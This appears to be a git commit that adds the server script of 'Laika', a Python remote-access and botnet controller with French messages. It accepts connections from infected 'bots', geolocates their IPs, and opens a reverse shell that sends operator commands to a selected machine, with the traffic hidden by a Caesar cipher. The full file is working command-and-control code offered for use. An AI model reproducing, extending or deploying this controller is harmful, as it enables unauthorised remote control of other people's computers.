premier commit
This commit is contained in:
185
Server/Server.py
Normal file
185
Server/Server.py
Normal file
@@ -0,0 +1,185 @@
|
||||
from colorama import Fore, Style
|
||||
from prettytable import PrettyTable
|
||||
from geoip import geolite2
|
||||
from threading import Thread
|
||||
import os, sys, time
|
||||
import select
|
||||
import socket
|
||||
|
||||
ADRESSE = '192.168.1.35'
|
||||
PORT = 1337
|
||||
CONNECT_CLIENTS = [] #liste des sockets ouverts
|
||||
THREAD_LIST = [] #tout les threads
|
||||
CAESAR_KEY = 5
|
||||
SELECTED_CLIENT = -1
|
||||
|
||||
serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
serveur.bind((ADRESSE, PORT))
|
||||
|
||||
def CAESAR(in_s: str) -> str :
|
||||
r=""
|
||||
for c in in_s :
|
||||
try :
|
||||
r+=chr(ord(c)+CAESAR_KEY)
|
||||
except :
|
||||
r+=" "
|
||||
return r
|
||||
|
||||
def CAESAR_DECRYPT(in_s: str) -> str :
|
||||
r=""
|
||||
for c in in_s :
|
||||
try :
|
||||
r+=chr(ord(c)-CAESAR_KEY)
|
||||
except :
|
||||
r+=" "
|
||||
return r
|
||||
|
||||
def ban() :
|
||||
os.system("title Laika - 0 bots")
|
||||
os.system("cls")
|
||||
print(Fore.RED + " __ _ _ ")
|
||||
print(Fore.RED + " / / __ _ (_)| | __ __ _ ")
|
||||
print(Fore.RED + " / / / _` || || |/ // _` |")
|
||||
print(Fore.RED + "/ /___| (_| || || <| (_| |")
|
||||
print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|")
|
||||
print(Style.BRIGHT + Fore.GREEN +"Là où fini l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL)
|
||||
print("")
|
||||
|
||||
def on_new_client() -> None :
|
||||
while True :
|
||||
serveur.listen(1)
|
||||
client, adresseClient = serveur.accept()
|
||||
client.setblocking(0)
|
||||
CONNECT_CLIENTS.append(client)
|
||||
|
||||
def on_close_socket() -> None:
|
||||
global CONNECT_CLIENTS
|
||||
while True :
|
||||
for s in CONNECT_CLIENTS :
|
||||
try:
|
||||
# this will try to read bytes without blocking and also without removing them from buffer (peek only)
|
||||
data = s.recv(16, socket.MSG_PEEK)
|
||||
if len(data) == 0:
|
||||
CONNECT_CLIENTS.remove(s)
|
||||
except BlockingIOError:
|
||||
pass # socket is open and reading from it would block
|
||||
except ConnectionResetError:
|
||||
CONNECT_CLIENTS.remove(s) # socket was closed for some other reason
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
def update_title() -> None :
|
||||
while True :
|
||||
if SELECTED_CLIENT == -1 :
|
||||
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots")
|
||||
else :
|
||||
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT))
|
||||
time.sleep(2)
|
||||
|
||||
def recv_message(socket_object) -> bool:
|
||||
socket_object.settimeout(0.1)
|
||||
while True:
|
||||
try :
|
||||
message = socket_object.recv(4096)
|
||||
if CAESAR_DECRYPT(message.decode("latin-1")) == "Laika: session ended" :
|
||||
return False
|
||||
except socket.timeout :
|
||||
break
|
||||
if not message:
|
||||
break
|
||||
print(CAESAR_DECRYPT(message.decode("latin-1")), end="")
|
||||
if socket_object.gettimeout() == 0:
|
||||
break
|
||||
|
||||
return True
|
||||
|
||||
def main() -> None :
|
||||
global SELECTED_CLIENT
|
||||
|
||||
ban()
|
||||
|
||||
THREAD_LIST.append(Thread(target = on_new_client, args = ()))
|
||||
THREAD_LIST.append(Thread(target = on_close_socket, args = ()))
|
||||
THREAD_LIST.append(Thread(target = update_title, args = ()))
|
||||
|
||||
for t in THREAD_LIST :
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
while True :
|
||||
cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET)
|
||||
|
||||
if cmd == "help" :
|
||||
print("")
|
||||
print("help : montre ce message")
|
||||
print("clear : efface l'écran")
|
||||
print("clients : montre les clients connectés")
|
||||
print("select <ID> : sélectionne le client avec lequel intéragir")
|
||||
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
|
||||
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
|
||||
print("")
|
||||
|
||||
elif cmd == "exit" :
|
||||
for c in CONNECT_CLIENTS :
|
||||
c.close()
|
||||
sys.exit(0)
|
||||
|
||||
elif cmd == "clear" :
|
||||
ban()
|
||||
|
||||
elif cmd == "clients" :
|
||||
print("")
|
||||
x = PrettyTable()
|
||||
x.field_names = ["ID", "IP", "PORT", "PAYS"]
|
||||
|
||||
for i in range(0,len(CONNECT_CLIENTS)) :
|
||||
c = CONNECT_CLIENTS[i]
|
||||
addr = c.getpeername()[0]
|
||||
pays = ""
|
||||
match = geolite2.lookup(addr)
|
||||
|
||||
if match is not None :
|
||||
pays = match.country
|
||||
|
||||
x.add_row([i, addr, PORT, pays])
|
||||
|
||||
print(x)
|
||||
print()
|
||||
|
||||
elif "select " in cmd :
|
||||
id = cmd.replace("select ","")
|
||||
if not id.isdigit() or int(id) < 0 or len(CONNECT_CLIENTS) < 1 or int(id) > len(CONNECT_CLIENTS)-1 :
|
||||
print(f"\"{id}\" n'est pas un ID valide.")
|
||||
continue
|
||||
|
||||
SELECTED_CLIENT = int(id)
|
||||
print(f"Client numéro : {SELECTED_CLIENT} sélectionné.")
|
||||
|
||||
elif cmd == "deselect":
|
||||
if SELECTED_CLIENT == -1 :
|
||||
print("Vous n'avez aucun client sélectionné.")
|
||||
else :
|
||||
print(f"Client {SELECTED_CLIENT} déselectionné.")
|
||||
SELECTED_CLIENT = -1
|
||||
|
||||
elif cmd == "shell" :
|
||||
if SELECTED_CLIENT == -1 :
|
||||
print("Vous n'avez aucun client sélectionné.")
|
||||
continue
|
||||
|
||||
client = CONNECT_CLIENTS[SELECTED_CLIENT]
|
||||
client.send(CAESAR("shell").encode())
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
while True :
|
||||
if not recv_message(client) : break
|
||||
command = input("")
|
||||
client.send(CAESAR(command+"\n").encode())
|
||||
|
||||
print("\nSession terminée.")
|
||||
|
||||
else :
|
||||
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")
|
||||
|
||||
main()
|
||||
Reference in New Issue
Block a user